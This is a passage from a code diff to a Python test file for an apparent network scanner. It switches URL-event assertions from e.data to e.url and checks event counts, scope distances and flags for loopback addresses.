e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 @@ -466,16 +466,16 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -497,16 +497,16 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert len(all_events) == 22 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) @@ -514,20 +514,20 @@ def custom_setup(scan): assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) assert len(all_events_nodups) == 20 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) @@ -535,20 +535,20 @@ def custom_setup(scan): assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 @@ -557,16 +557,16 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -590,24 +590,24 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) @@ -618,12 +618,12 @@ def custom_setup(scan): assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) @@ -631,13 +631,13 @@ def custom_setup(scan): assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) @@ -648,24 +648,24 @@ def custom_setup(scan): assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) @@ -677,24 +677,24 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == 